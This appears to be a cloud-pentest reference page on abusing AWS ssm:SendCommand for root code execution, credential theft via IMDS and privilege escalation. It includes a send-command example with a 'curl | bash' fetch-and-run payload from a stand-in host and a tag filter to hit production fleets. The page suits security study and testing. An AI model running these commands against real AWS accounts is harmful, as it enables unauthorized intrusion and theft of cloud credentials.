ssm:SendCommand runs a shell command on any SSM-managed instance through the AWS-RunShellScript (Linux) or AWS-RunPowerShellScript (Windows) document. The command executes as the SSM agent, which is root or SYSTEM, so a single API call with no network path to the host gives full code execution.

Executing a command#

aws ssm send-command \
  --document-name AWS-RunShellScript \
  --targets Key=InstanceIds,Values=<id1>,<id2> \
  --parameters 'commands=["id","curl -s https://you.example/x | bash"]'

# fetch the output
aws ssm list-command-invocations --command-id <cid> --details

Target many hosts at once with a tag filter: --targets Key=tag:Env,Values=prod.

Exploitation notes#

• Execution as root yields both on-host secrets and the instance profile role from IMDS, so this is a credential-theft path as much as an execution one.
• It needs no inbound access or key, only the API permission and an agent-managed instance, which makes it quiet relative to SSH.
• ssm:SendCommand is a known privilege-escalation lever when the instance role is more privileged than the caller.

Tools#

• AWS CLI (ssm send-command, list-command-invocations): run and read.
• Pacu (ssm__send_command): automate across discovered instances.

References#

• HackTricks Cloud: ssm:SendCommand
• AWS: Run Command
• Hacking the Cloud: AWS
• Stratus Red Team: AWS techniques
• Pacu (Rhino Security Labs)